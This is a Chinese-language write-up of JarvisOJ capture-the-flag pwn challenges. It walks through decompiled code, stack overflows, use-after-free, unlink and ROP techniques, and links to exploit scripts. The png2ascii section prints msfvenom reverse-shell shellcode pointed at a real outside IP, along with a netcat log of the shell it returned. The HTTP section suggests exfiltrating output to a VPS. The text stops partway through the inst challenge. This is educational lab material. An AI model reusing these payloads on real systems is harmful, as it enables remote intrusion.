__int16 offset; // [esp+30Ch] [ebp-Ch]
LPSTR lpMultiByteStr; // [esp+310h] [ebp-8h]
int cbMultiByte; // [esp+314h] [ebp-4h]
cbMultiByte = WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, 0, 0, 0, 0);
lpMultiByteStr = (LPSTR)sub_4011F0(cbMultiByte);
WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, lpMultiByteStr, cbMultiByte, 0, 0);
offset = *(_WORD *)lpMultiByteStr; // offset = argv[1]
if ( offset < 0 )
return -1;
offset ^= 0x6443u;
strcpy(Dest, "0");
memset(&Dest[2], 0, 0x1FEu);
for ( i = 0; i < offset; ++i )
Dest[i] = 'A';
*(_DWORD *)Source = 0x7FFA4512; // jmp esp
Source[4] = 0;
strcpy(&Dest[offset], Source);
qmemcpy(v5, nops, 0x1Au);
strcpy(&Dest[offset + 4], v5);
qmemcpy(v3, &shellcode, sizeof(v3));
v4 = 0;
strcpy(&Dest[offset + 29], v3);
sub_401000(Dest);
return 0;
}
大致的处理流程是用户传给程序的参数 (argv[1]) 亦或 0x6443 后作为一个偏移量，然后 jmp esp，nops，shellcode 等依次
copy 到 Dest[offset] 上，最后在 **sub_401000()** 里触出栈溢出(本来不知道 0x7FFA4512
是什么，搜了一下才发现这是 windows 下的一个 [_万能 jmp
esp_](https://blog.csdn.net/gxustudent/article/details/6624530))
看一下 **sub_401000()** 的栈结构，控制 jmp esp 为返回地址即可触发后门，也即是 **offset ^ 0x6443 == 0x20
+ 4** 即可
-00000020 Dest db 31 dup(?)
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 Source dd ?
因此可以得到该参数和 flag
jarvisOJ_Backdoor [master●●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from hashlib import sha256
from libnum import n2s
key = 0x20 + 4
key ^= 0x6443
print key
key = hex(key)[2: ]
print "PCTF{%s}" % (sha256(key.decode('hex')[::-1]).hexdigest())
## [XMAN]level3(x64) (250)
与 level3 相比，只在函数传参上有区别，按照 x64 的函数调用约定 leak 出 libc，然后 rop 执行 system(“/bin/sh”)
即可。
值得注意的是，这道题目中没有 puts，因此 leak libc 只能通过 write(1, elf.got[‘write’], 8)，但
ROPgadget 等工具只能找到控制 rdi 和 rsi 的 gadget，也就是我们不能控制 write 输出的长度，这时候有两种方法：
一是使用 64 位 elf 的 [_通用 gadget_](https://www.cnblogs.com/Ox9A82/p/5487725.html)；
二是通过调试发现 write 时 rdx 是大于 8 的（实际上大于 6 即可），因此可以完全不用考虑控制 rdx。
[_exploit
here_](https://github.com/bash-c/pwn_repo/tree/master/jarvisOJ_level3_x64)
## [XMAN]level4 (250)
这道题目与 level3 相比没有提供 libc，因此就不能通过 leak libc 的方式来找 system 和 /bin/sh
的地址了。pwntools 中有个很有用的函数
[_DynELF_](http://docs.pwntools.com/en/stable/dynelf.html?highlight=DynELF#module-pwnlib.dynelf)，可以在能控制 leak 内容的情况下leak 出某些函数的地址（如 system）。
和 level3 相似，这道题目可以构造 rop leak 出某些地址上的内容后返回到 _start，因此可以通过 DynELF 来 leak 出
system 的地址，再读入 /bin/sh\0 字符串既可以构造 rop 调用 system(“/bin/sh”)
> DynELF 的原理可以看沐师傅的一篇 [_分析_](http://muhe.live/2016/12/24/what-DynELF-does-> basically/)
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level4/solve.py)
## Test Your Memory (300)
这道题目分数给高了，难度大概只是和 level2 相当，构造 rop chain 直接调用 system(“cat flag”)
即可，唯一需要注意的是程序最后有一个 strncmp，需要保证此时 strncmp 比较的两个两个地址都是可读的
if ( !strncmp(s, s2, 4u) )
puts("good job!!\n");
else
puts("cff flag is failed!!\n");
+-----------+
|padding |
|...... |
| |
+-----------+
|padding | <- ebp
+-----------+
|win_func | <- ret addr
+-----------+- |readable | <- mem_test 函数的参数，即 strncmp 比较的对象，需要保证该地址是可读的
+-----------+
|catflag |
+-----------+
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_Test_Your_Memory/solve.py)
## [XMAN]level5 (300)
题目假设禁用了 system 和 execve，并提示使用 mprotect 或者 mmap。先看一下这两个函数是什么作用，查看这两个函数的 man 手册
NAME
mprotect — set protection of memory mapping
SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
DESCRIPTION
The mprotect() function shall change the access protections to be that speci‐
fied by prot for those whole pages containing any part of the address space of
the process starting at address addr and continuing for len bytes. The parame‐
ter prot determines whether read, write, execute, or some combination of
accesses are permitted to the data being mapped. The prot argument should be
either PROT_NONE or the bitwise-inclusive OR of one or more of PROT_READ,
PROT_WRITE, and PROT_EXEC.
NAME
mmap — map pages of memory
SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t len, int prot, int flags,
int fildes, off_t off);
DESCRIPTION
The mmap() function shall establish a mapping between an address space of a
process and a memory object.
mprotect 函数用于改变某段地址的权限（rwxp），mmap 用于申请一段空间，根据参数不同可以设置这段空间的权限。
这道题目开启了 NX 保护，并假设禁用了 system 和 execve 函数（实际并没有），因此可以考虑通过 mprotect 改变 .bss/.data
权限或者通过 mmap 申请一段具有可执行权限的空间写 shellcode 的方法来 get shell，重点介绍如何使用 mprotect。
1. 第一次 rop 使用 **write(1, elf.got[‘write’], rdx)** leak 出 libc 基地址
2. 第二次 rop 使用 **mprotect(0x00600000, 0x1000, 7)** 把 .bss 段设为有可执行权限
3. 第三次 rop 通过 **read(0, elf.bss() + 0x500, 0x100)** 把 shellcode 读到 .bss 并返回到 shellcode
需要注意的是第一次 rop 时，与 level3 相似，调试可以发现 rdx 是大于 6的，因此可以不用通用 gadget 来设置 rdx；
但第二次使用 mprotect 时必须设置 rdx 寄存器，这时候我们已经 leak 除了 libc 基地址，因此可以 **使用** **libc**
**中的 gadget** **来设置 rdx** ，也不需要用通用 gadget。
并且 **mprotect** **指定的内存区必须包含整个内存页，区间长度必须是页大小的整数倍** 。
也想过使用 mmap 来申请一段内存，但 mmap 需要控制 6 个寄存器，找了半天没有找到太好的 gadget，就没有再继续尝试了，如果有大佬能使用
mmap 来申请空间请务必指教。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_level5/exp_mprotect.py)
## Add (300)
一道 mips 的题目，环境的搭建同样可以参考我之前写过的一篇 [_分析_](http://m4x.fun/post/arm_pwn/)。而IDA 的
hexray 对 mips 没有太好的支持，可以使用 [_jeb-mips_](https://www.pnfsoftware.com/jeb/mips)
或者 [_retdec_](https://github.com/avast-tl/retdec)
来反编译，但实际效果也只是能看，最准确的方法还是直接读汇编。
先看输入的部分，输入遇到 \n 才会停止，因此存在栈溢出
同时程序中有一处打印栈上输入地址的
loc_400B5C:
la $t9, printf
la $a0, aYourInputWasP # "Your input was %p\n"
jalr $t9 ; printf
move $a1, input
lw $gp, 0x98+var_88($sp)
move $v1, input
b loc_400984
li $s2, 0x80
跳转过来的条件是 strcmp(input, s4) 相等
la $t9, strcmp
move $a0, input # s1
jalr $t9 ; strcmp
move $a1, $s4 # s2
lw $gp, 0x98+var_88($sp)
beqz $v0, loc_400B5C
move $a0, input # s
再向上找 s4 是什么
la $t9, srand
move $at, $at
jalr $t9 ; srand
li $a0, 0x123456 # seed
lw $gp, 0x98+var_88($sp) # srand(0x123456)
addiu $s4, $sp, 0x98+challenge
la $t9, rand
move $at, $at
jalr $t9 ; rand
addiu input, $sp, 0x98+buf
lw $gp, 0x98+var_88($sp)
lui $a1, 0x40
la $t9, sprintf
la $a1, aD # "%d"
move $a2, $v0
jalr $t9 ; sprintf # sprintf(s4, "%d", rand())
move $a0, $s4 # s
大致流程是
srand(0x123456);
int tmp = rand();
sprintf(s4, "%d", tmp);
随机种子是固定的，也即是随机值固定，因此 s4 的值也就知道了，通过这个功能我们能得到栈上输入的地址，程序没有开 NX 保护，输入
shellcode，并返回到 shellcode 即可。
通过调试可以快速确定覆盖返回地址所需的偏移量。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_add/solve.py)
## [61dctf]calc.exe (300)
这道题没开 NX 保护，很大概率就是使用 shellcode 来 get shell 了。这个题目主要麻烦在代码量太大，还是 strip 后的
binary，看起来很是费力。
但这种代码量大的题目一般漏洞都很明显（代码量又大漏洞又难找，那题还怎么做），仔细分析，程序中存在一个如下的结构体（不是完全正确，程序没有看完）
struct NODE
{
char *name;
char *type;
void (*method)();
int len;
}
所有的变量和函数以这种结构体的形式存储，其中有一个很敏感的函数指针，如果能控制函数指针，就能控制 eip 了。
再往下看，程序有一个 var 可以声明变量，命令格式为 var variable = “value”
if ( !strcmp(s1, "var") )
{
argv1 = strtok(0, " ");
argv2 = strtok(0, " ");
if ( !argv2 )
break;
if ( argv2 && *argv2 == '=' )
{
argv3 = strtok(0, " ");
if ( !argv3 )
{
puts("invalid syntax");
break;
}
if ( *argv3 == '"' )
{
nptra = argv3 + 1;
v26 = strchr(nptra, '"');
if ( v26 )
{
*v26 = 0;
v3 = set_str(argv1, nptra);
store_into_list(g_list, argv1, (int)v3);
}
}
但 store_into_list() 函数寻址时是通过变量名之间的比较进行的，也即是即使 var add = “eval”
也是程序允许的，这样我们就可以控制函数指针了。因此直接把某个函数的 method 改成 shellcode 即可。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_calc.exe/solve.py)
## Guess (300)
这个题目也更像一个逆向题，好在程序没有 strip，看起来比较清楚。
程序先建立了一个 socket，之后的输入输出均通过该 socket 进行。主要逻辑在 is_flag_correct 函数中，而漏洞也出在这里。
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
这里使用了下标寻址的方法，flag_hex 是我们的输入，类型是 char *，通过构造负数就可以寻址到 bin_by_hex 上方
-0000000000000198 flag_hex dq ? ; offset
-0000000000000190 given_flag db 50 dup(?)
-000000000000015E db ? ; undefined
-000000000000015D db ? ; undefined
-000000000000015C db ? ; undefined
-000000000000015B db ? ; undefined
-000000000000015A db ? ; undefined
-0000000000000159 db ? ; undefined
-0000000000000158 db ? ; undefined
-0000000000000157 db ? ; undefined
-0000000000000156 db ? ; undefined
-0000000000000155 db ? ; undefined
-0000000000000154 db ? ; undefined
-0000000000000153 db ? ; undefined
-0000000000000152 db ? ; undefined
-0000000000000151 db ? ; undefined
-0000000000000150 flag db 50 dup(?)
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 bin_by_hex db 256 dup(?)
-0000000000000010 db ? ; undefined
而 flag 就在 bin_by_hex 上方，这样如果我们构造 value1 = 0, value2 = flag[i]，就可以覆盖 flag[i]
了，这样就可以通过逐位覆盖 flag，根据不同的回显来爆破了。
王一航师傅对这道题目做过很详细的分析，[ _传送门_](https://www.jianshu.com/p/40f846d14450)
## HTTP (350)
这道题目也更像一个逆向，没有 pwn 常见的溢出等漏洞，而是直接可以命令执行
__int64 __fastcall sub_40102F(const char *a1, char *a2, int a3)
{
char *v3; // rbx
int v5; // [rsp+Ch] [rbp-34h]
FILE *stream; // [rsp+20h] [rbp-20h]
int i; // [rsp+2Ch] [rbp-14h]
v5 = a3;
stream = popen(a1, "r"); // rce
if ( stream )
{
for ( i = 0; ; ++i )
{
v3 = &a2[i];
*v3 = fgetc(stream);
if ( *v3 == -1 || v5 - 1 <= i )
break;
}
pclose(stream);
}
else
{
i = sprintf(a2, "error command line:%s \n", a1);
}
a2[i] = 0;
return (unsigned int)i;
}
当然到这一步需要通过前边的各种验证
signed __int64 __fastcall sub_400FAF(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h]
const char *s; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
s = encrypt(off_601CE8);
v2 = strlen(s);
for ( i = 0; i < v2; ++i )
{
if ( (i ^ *(char *)(i + a1)) != s[i] )
return 0LL;
}
return 1LL;
}
encrypt 函数逆到一半发现都是固定值，直接可以把结果调试出来。按照题目的要求构造报文格式，就可以任意命令执行了。
但关键是执行什么命令，这道题目是通过 socket 进行通信的，因此直接 cat flag 不会有回显，可以通过管道将结果发送到远程 vps 上，在 vps
上监听到 flag，或者可以直接建立一个 reverse shell。
原理可以看我写的几篇分析 [_fd_](http://m4x.fun/post/play_with_file_descriptor_1/) 的文章。
[_expoit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_HTTP/solve.py)
## Guestbook2 (400)
Guessbook2，[XMAN]level6，[XMAN]level6_x64 三道题目几乎一样，放到一块讲。
程序中存在如下的结构体
struct noteList
{
int all;
int now;
struct NOTE notes[256];
}
struct NOTE
{
int inuse;
int len;
char *content;
}
在 delete 函数中存在漏洞
void delPost()
{
int idx; // [rsp+Ch] [rbp-4h]
if ( POSTS->now <= 0 )
{
puts("No posts yet.");
}
else
{
printf("Post number: ");
idx = getInt();
if ( idx >= 0 && idx < POSTS->all ) // 2free
{
--POSTS->now;
POSTS->block[idx].inuse = 0LL;
POSTS->block[idx].len = 0LL;
free(POSTS->block[idx].content); // uaf
puts("Done.");
}
else
{
puts("Invalid number!");
}
}
}
在 add 和 edit 函数中，新申请的堆块是经过 0x80 对其的，即只能申请 0x80，0x100,0x180 … 这样的堆块。
可以有如下的思路：
4. 先 leak 堆的地址
5. 根据 leak 出的堆的地址进行 unlink
6. unlink 后把 chunk_list 中的某一项改成 got（如atoi@got)，这样 show 就可以 leak libc，edit 就可以 hijack got
7. 把 atoi@got 改成 system，然后发送 $0\0，sh\0 或 /bin/sh\0 即可 get shell
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_Guestbook2/exp.py)
## [XMAN]level6 (350)
同上，只不过是 32 位的
## [XMAN]level6_x64 (400)
同上
## [61dctf]hsys (400)
这个程序也很大，要耐心看。 程序中存在如下的结构体
struct HACKER
{
int id;
char name[40];
char *something;
int gender;
int age;
}
程序给了 list, add, show, info, gender 和 exit 几个功能，通过看代码发现还有一个 del 的隐藏功能，只有 id 为 0
，即为 admin 的时候才能触发。
if ( !strcmp(command, "del") )
{
if ( IDX )
{
v26 = printf("You must be the system administrator to use del command\n");
}
else if ( args && strlen(args) )
{
if ( delete(args) == -1 )
{
v16 = args;
v23 = printf("hacker `%s` not found in system\n", args);
}
else
{
v16 = args;
v14 = printf("hacker `%s` deleted from system\n", args);
IDX = -1;
v24 = v14;
}
}
else
{
v25 = printf("usage: del <hacker name>\n");
}
}
再看 add 的功能，算法渣表示楞了很久才反应过来到这是一个 hash 表 orz。
int __cdecl getIndex(const char *a1)
{
struct HACKER *v1; // ST18_4
int v3; // [esp+1Ch] [ebp-1Ch]
signed int i; // [esp+20h] [ebp-18h]
unsigned int v5; // [esp+24h] [ebp-14h]
size_t len; // [esp+28h] [ebp-10h]
len = strlen(a1);
if ( len >= 0x28 )
return -1;
v5 = getIdxByName(a1);
v3 = v5;
for ( i = 0; i < 1338; ++i )
{
v3 = (v5 + i) % 1337;
if ( !ptr[v3] )
break;
if ( !strcmp(ptr[(v5 + i) % 1337]->name, a1) )
return (v5 + i) % 1337;
}
v1 = malloc(0x38u);
v1->id = v3;
memcpy(v1->name, a1, len); // leakable
v1->name[39] = 0;
v1->something = 0;
ptr[v3] = v1;
return v3;
}
其中 memcpy 不会在末尾加上 \0，因此是可以 leak 的，可以利用这个来 leak libc
打个小广告，找 main_arena 在 libc 中的偏移可以用我写的这个
[_小工具_](https://github.com/bash-c/main_arena_offset#install)
jarvisOJ_hsys [master●●] main_arena ./libc-2.19.so
[+]__malloc_hook_offset : 0x1ab408
[+]main_arena_offset : 0x1ab420
继续看其他函数，发现在 show 中有一个 很可疑的memcpy，有可能造成栈溢出
else if ( !strcmp(command, "show") )
{
if ( IDX >= 0 )
{
format = "%d: Name: %s, Age %d, Gender: %s, Info: ";
v42 = 128;
v41 = "Male";
v40 = "Female";
s = &s;
v38 = 0;
memset(&s, 0, 0x80u);
Name = ptr[IDX]->name;
Age = ptr[IDX]->age;
Gender = v41;
if ( !LOBYTE(ptr[IDX]->gender) )
Gender = v40;
v17 = IDX;
v37 = sprintf(s, format, IDX, Name, Age, Gender);
v36 = cntIdx(IDX) + 8;
if ( IDX )
{
v15 = ptr[IDX]->name;
name_len = strlen(v15);
}
else
{
name_len = 5; // admin
}
v15 = ptr[IDX]->age;
v34 = name_len + v36 + 6;
v7 = cntIdx(v15);
v8 = 4;
if ( !LOBYTE(ptr[IDX]->gender) )
v8 = 6;
v63 = v8 + v7 + v34 + 10 + 8;
n = 127 - v63;
if ( ptr[IDX]->something )
{
v15 = ptr[IDX]->something;
v10 = strlen(v15);
if ( v10 > n )
{
s = &s;
v13 = strlen(&s);
memcpy(&s[v13], ptr[IDX]->something, n); // overflow
v72 = 46;
v73 = 46;
v74 = 46;
}
else
{
s = &s;
v11 = strlen(&s);
v15 = ptr[IDX]->something;
v30 = &s[v11];
v29 = v15;
v12 = strlen(v15);
memcpy(v30, v29, v12);
}
}
else
{
s = &s;
v9 = strlen(&s);
v32 = strcpy(&s[v9], "N/A");
}
v27 = puts(&s);
}
else
{
v44 = printf("You must add a hacker first and then show information about him/her\n");
}
}
为什么会觉得 memcpy 可疑？
* 像之前说的，这种代码多的题目一般不会有很难找的漏洞，因此我着重看了 strcpy，memcpy 等危险函数，发现 memcpy 的长度在一定条件下是可以控制的
这样如果能控制 memcpy 的长度，就可以直接栈溢出来 rop 或者用 one_gadget 了。
至于怎么控制长度，我是完全参考了师傅的 writeup，直接给出
[_vertitas501_](https://veritas501.space/2017/03/10/JarvisOJ_WP/)
师傅的链接，就不在这里鹦鹉学舌了。
后来复习了一下哈希表的知识发现这个题目还是很好解决的，这种东西果然不用就会忘得一干二净= =
## [61dctf]hiphop (400)
这个题目代码有点多，看了一遍下来是一个打怪兽的程序。逻辑如下：
8. 用户选择技能(change skill)，如果不选择默认为 attack
9. 使用技能，分两步进行：
1. 怪兽攻击，用户选择三种防御策略(iceshield, fireshield, windshield)，怪兽的攻击方式随机，如果用户使用了对应的防御策略则成功防御，不扣 hp，否则扣除用户相应 hp
2. 用户攻击，每种技能的伤害不同
10. 用户每胜利一次怪兽都会升级一次，不同等级的怪兽有不同的初始 hp(64h, 3E8h, 0BB8h, 7FFFFFFFFFFFFFFEh)；当怪兽升级 3 次以上，用户胜利后即可 get flag
先看一下有没有什么比较特殊的技能，发现 fireball 和 icesword 两个技能会
sleep(1)，再联想到主函数是新开了一个进程处理逻辑的，想到了条件竞争；再仔细看，icesword 的伤害还是负的。
if ( !strcmp(a1, &aAttack[32]) )
{
fireball((_QWORD *)a1 + 5);
sleep(1u); // sleep(1)
}
else if ( !strcmp(a1, &aAttack[192]) )
{
icesword((_QWORD *)a1 + 5);
sleep(1u); // sleep(1)
}
void __fastcall icesword(_QWORD *a1)
{
unsigned __int64 v1; // rbx
unsigned __int64 v2; // rbx
signed __int64 v3; // ST18_8
v1 = (unsigned __int16)rand();
v2 = (rand() << 16) & 0x8FFFFFFF | v1;
v3 = v2 | ((signed __int64)rand() << 32) & 0xFFFF00000000LL;
*a1 = 0xFFFFFFFFLL;
}
主函数中可以看出程序使用了 time(0) 当做随机数种子，也就是说随机数是可以预测的；再仔细观察，第四关时，怪兽的初始 hp 为
0x7FFFFFFFFFFFFFFE，只要 +2 就会造成整数溢出，满足判断胜负时怪兽 hp < 0 的判断。那么就有了以下的思路：
1. 先利用能预测随机数的特点完美防御怪兽的攻击，直到第四关。
2. 选择 fireball，然后 use skill，此时子进程会在设置伤害时 sleep(1)，但主进程还在继续运行，主进程继续 change skill 到 icesword，然后 use skill；这样既可以通过技能伤害不为负的验证，在攻击时又会取 icesword 的伤害导致怪兽的 hp + 1，连续两次造成整数溢出就可以跳到后门函数拿到 flag 了。
本地能稳定跳转到后门函数后，发现远程一直失败。用另一道题目的 shell 查看时间才发现虽然都是 UTC 时间，但相差了大概
25s，修改本地时间后终于拿到了 flag（UTC 时间不同步我还特意问了汪师傅，师傅告诉我确实需要预测时间差）
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_hiphop/solve.py)
## Item Board (450)
这个题目存在如下的结构体
struct ItemStruct
{
char *name;
char *description;
void (*free)(ItemStruct *);
};
释放结构体后没有把指针清零，存在并且 show 时只检查了下标
void __cdecl item_free(Item *item)
{
free(item->name);
free(item->description);
free(item);
}
void __cdecl show_item()
{
Item *item; // ST00_8
Item *v1; // ST00_8
int index; // [rsp+Ch] [rbp-4h]
puts("Which item?");
fflush(stdout);
index = read_num();
if ( index < items_cnt && item_array[index] )
{
item = item_array[(unsigned __int8)index];
puts("Item Detail:");
printf("Name:%s\n", item->name, item);
printf("Description:%s\n", v1->description);
fflush(stdout);
}
else
{
puts("Hacker!");
}
}
因此可以先通过 unsorted bin 来 leak libc
jarvisOJ_ItemBoard [master●] main_arena ./libc-2.19.so
[+]__malloc_hook_offset : 0x3be740
[+]main_arena_offset : 0x3be760
然后通过 uaf 控制结构体里的函数指针，改成 system，那么在下一次 free 时，就相当于调用了 system(chunk)，只需要把 chunk
首部改成 $0; sh; /bin/sh; 等即可。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_ItemBoard/solve.py)
## png2ascii (450)
这是 defconCTF 20 Quals 的一道题目，mips 架构。 程序是静态编译的，可以先用 rizzo 和 sig
恢复部分符号。通过搜索字符串可以定位到关键函数是从 0x401200 开始的。
测试后发现在 png2ascii 功能里存在栈溢出，漏洞发生在 read_n_until 时
.text:00401C4C addiu $v0, $fp, 0x130+buf # load buffer info $v0
.text:00401C50 lw $a0, 0x130+fd($fp) # load socket descriptor into $a0
.text:00401C54 move $a1, $v0 # load buffer address into $a1
.text:00401C58 li $a2, 0x200 # load max size(0x200) into $a2
.text:00401C5C li $a3, 0xA # load delimiter into $a3
.text:00401C60 la $t9, read_n_until
.text:00401C64 nop
.text:00401C68 jalr $t9 ; read_n_until # call read_n_until
.text:00401C68 #
.text:00401C68 #
.text:00401C68 # stack overflow bug
可以输入 0x200 个字符，缓冲区却只有 0x108，如果是 x86 直接 rop 即可，但 mips 架构找不到太好的 gadget，最后参考了别人的
writeup 找了这么一段
.text:0040F968 lw $gp, 0x30+var_10($sp)
.text:0040F96C sw $v0, 0x30+var_4($sp)
.text:0040F970 lw $a0, 0x30+var_30($sp) # file descriptor
.text:0040F974 lw $a1, 0x30+var_2C($sp) # destination buffer address
.text:0040F978 lw $a2, 0x30+var_28($sp) # read size
.text:0040F97C li $v0, 0xFA3 # read syscall
.text:0040F980 syscall 0
.text:0040F984 sw $v0, 0x30+var_C($sp)
.text:0040F988 sw $a3, 0x30+var_8($sp)
.text:0040F98C lw $a0, 0x30+var_4($sp)
.text:0040F990 la $t9, sub_4115FC
.text:0040F994 nop
.text:0040F998 jalr $t9 ; sub_4115FC
这样有栈上的变量，看的不是很清楚，我们可以直接在调试的过程中查看这段 gadget
pwndbg> pdisass 0x40f968 10
► 0x40f968 lw $gp, 0x20($sp)
0x40f96c sw $v0, 0x2c($sp)
0x40f970 lw $a0, ($sp)
0x40f974 lw $a1, 4($sp)
0x40f978 lw $a2, 8($sp)
0x40f97c addiu $v0, $zero, 0xfa3
0x40f980 syscall
0x40f984 sw $v0, 0x24($sp)
0x40f988 sw $a3, 0x28($sp)
0x40f98c lw $a0, 0x2c($sp)
0x40f990 lw $t9, -0x7ccc($gp)
0x40f994 nop
0x40f998 jalr $t9
这样就看的很清楚了，可以控制 read 的三个参数和后边的任意跳转（佩服大佬找 gadget 的深厚功力，如果师傅们有什么好的找 gadget
的方法，请务必指教）
可以构造如下的 rop chain
+----------+
|0x0040F968| <- ret addr
+----------+
|0x4 | <- socket file descriptor ----+
+----------+ |
|0x10000000| <- read destination ----+-> read(4, 0x10000000, 0x400)
+----------+ |
|0x400 | <- read size ----+
+----------+
|junk data |
+----------+
|...... |
+----------+
|...... |
+----------+
|junk data |
+----------+
|0x10007ccc| <- set $gp
+----------+
此时的 rop 流程如下
1. 返回到 0x40F968，即上边的 gadget 地址
2. lw $gp, 0x20($sp) -> gp = sp + 0x20 = 0x10007ccc
3. lw $a0, ($sp) -> a0 = sp = 4
4. lw $a1, 4($sp) -> a1 = sp + 4 = 0x10000000
5. lw $a2, 8($sp) -> a2 = sp + 8 = 0x400
6. syscall -> read(4, 0x10000000, 0x400)
7. lw $t9, -0x7ccc($gp) -> t9 = 0x100000000
8. jalr $t9 -> 跳转到 0x10000000
因此，我们只需要把一段 reverse shell 的 shellcode 读到 0x10000000 即可，我用 msf 生成了一段
root@58a35925ee88:/# msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=123.207.141.87 LPORT=4445 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 184 bytes
Final size of python file: 896 bytes
buf = ""
buf += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += "\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += "\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += "\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x11\x5d\x0e\x3c"
buf += "\x11\x5d\xce\x35\xe4\xff\xae\xaf\x8d\x57\x0e\x3c\x7b"
buf += "\xcf\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += "\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += "\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += "\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += "\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += "\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += "\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += "\x01\x01"
# 腾讯云的学生主机没什么东西，大佬们就不要搞了
然后就可以在 vps 上拿到 shell 了
ubuntu@VM-61-71-ubuntu:~$ nc -lvp 4445
Listening on [0.0.0.0] (family 0, port 4445)
Connection from [209.222.100.138] port 4445 [tcp/*] accepted (family 2, sport 39056)
ls
flag
pwn100
supervisord.log
supervisord.pid
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_png2ascii/solve.py)
## [61dctf]inst (500)
这是 Google CTF2017 的一道原题。
看一下程序的主要逻辑
void do_test()
{
char *v0; // rbx
char v1; // al
unsigned __int64 v2; // r12
unsigned __int64 buf; // [rsp+8h] [rbp-18h]
v0 = (char *)alloc_page();
*(_QWORD *)v0 = *(_QWORD *)template;
*((_DWORD *)v0 + 2) = *((_DWORD *)template + 2);
v1 = *((_BYTE *)template + 14);
*((_WORD *)v0 + 6) = *((_WORD *)template + 6);
v0[14] = v1;
read_inst(v0 + 5);
make_page_executable(v0);
v2 = __rdtsc();
((void (__fastcall *)(char *))v0)(v0);
buf = __rdtsc() - v2;
if ( write(1, &buf, 8uLL) != 8 )
exit(0);
free_page(v0);
}
每次会申请一段空间，设置可执行权限，然后读 4 个字节到 template 中，最后执行 template，看一下 template
.rodata:0000000000000C00 public template
.rodata:0000000000000C00 template proc near ; DATA XREF: do_test+15↑o
.rodata:0000000000000C00 mov ecx, 1000h
.rodata:0000000000000C05
.rodata:0000000000000C05 loc_C05: ; CODE XREF: template+C↓j
.rodata:0000000000000C05 nop
.rodata:0000000000000C06 nop
.rodata:0000000000000C07 nop
.rodata:0000000000000C08 nop
.rodata:0000000000000C09 sub ecx, 1
.rodata:0000000000000C0C jnz short loc_C05
.rodata:0000000000000C0E retn
.rodata:0000000000000C0E template endp
根据这段汇编的逻辑，我们每次的输入会被程序反复执行 1000 次，但可以用 ret 跳出这段循环。
如果能设置 rsp，使用 ret 就能控制程序的运行流程了。比如把 rsp 改成 rop chain 的开头或者 one_gadget。
调试可以发现在 do_test() 运行的过程中，r14， r15 两个寄存器是不变的，因此可以考虑用这两个寄存器保存一些值。以设置 rsp 为
one_gadget 为例，首先我们需要一个 libc 上的地址，并且距离 one_gadget 比较近，调试可以发现在 templete 开头时，rsp
+ 0x40 这个地方存储了 __libc_start_main + 231，这个地址距离 one_gadget 较近，先把这个地址保存到 r14 上
pwndbg> stack 10
00:0000│ rsp 0x7ffeb2d93408 —▸ 0x5641ea376b18 ◂— rdtsc
01:0008│ 0x7ffeb2d93410 —▸ 0x7fcc316520e0 (_dl_fini) ◂— push rbp
02:0010│ 0x7ffeb2d93418 ◂— 0x0
... ↓
04:0020│ 0x7ffeb2d93428 —▸ 0x5641ea3768c9 ◂— xor ebp, ebp
05:0028│ rbp 0x7ffeb2d93430 —▸ 0x7ffeb2d93440 —▸ 0x5641ea376b60 ◂— push r15
06:0030│ 0x7ffeb2d93438 —▸ 0x5641ea3768c7 ◂— jmp 0x5641ea3768c0
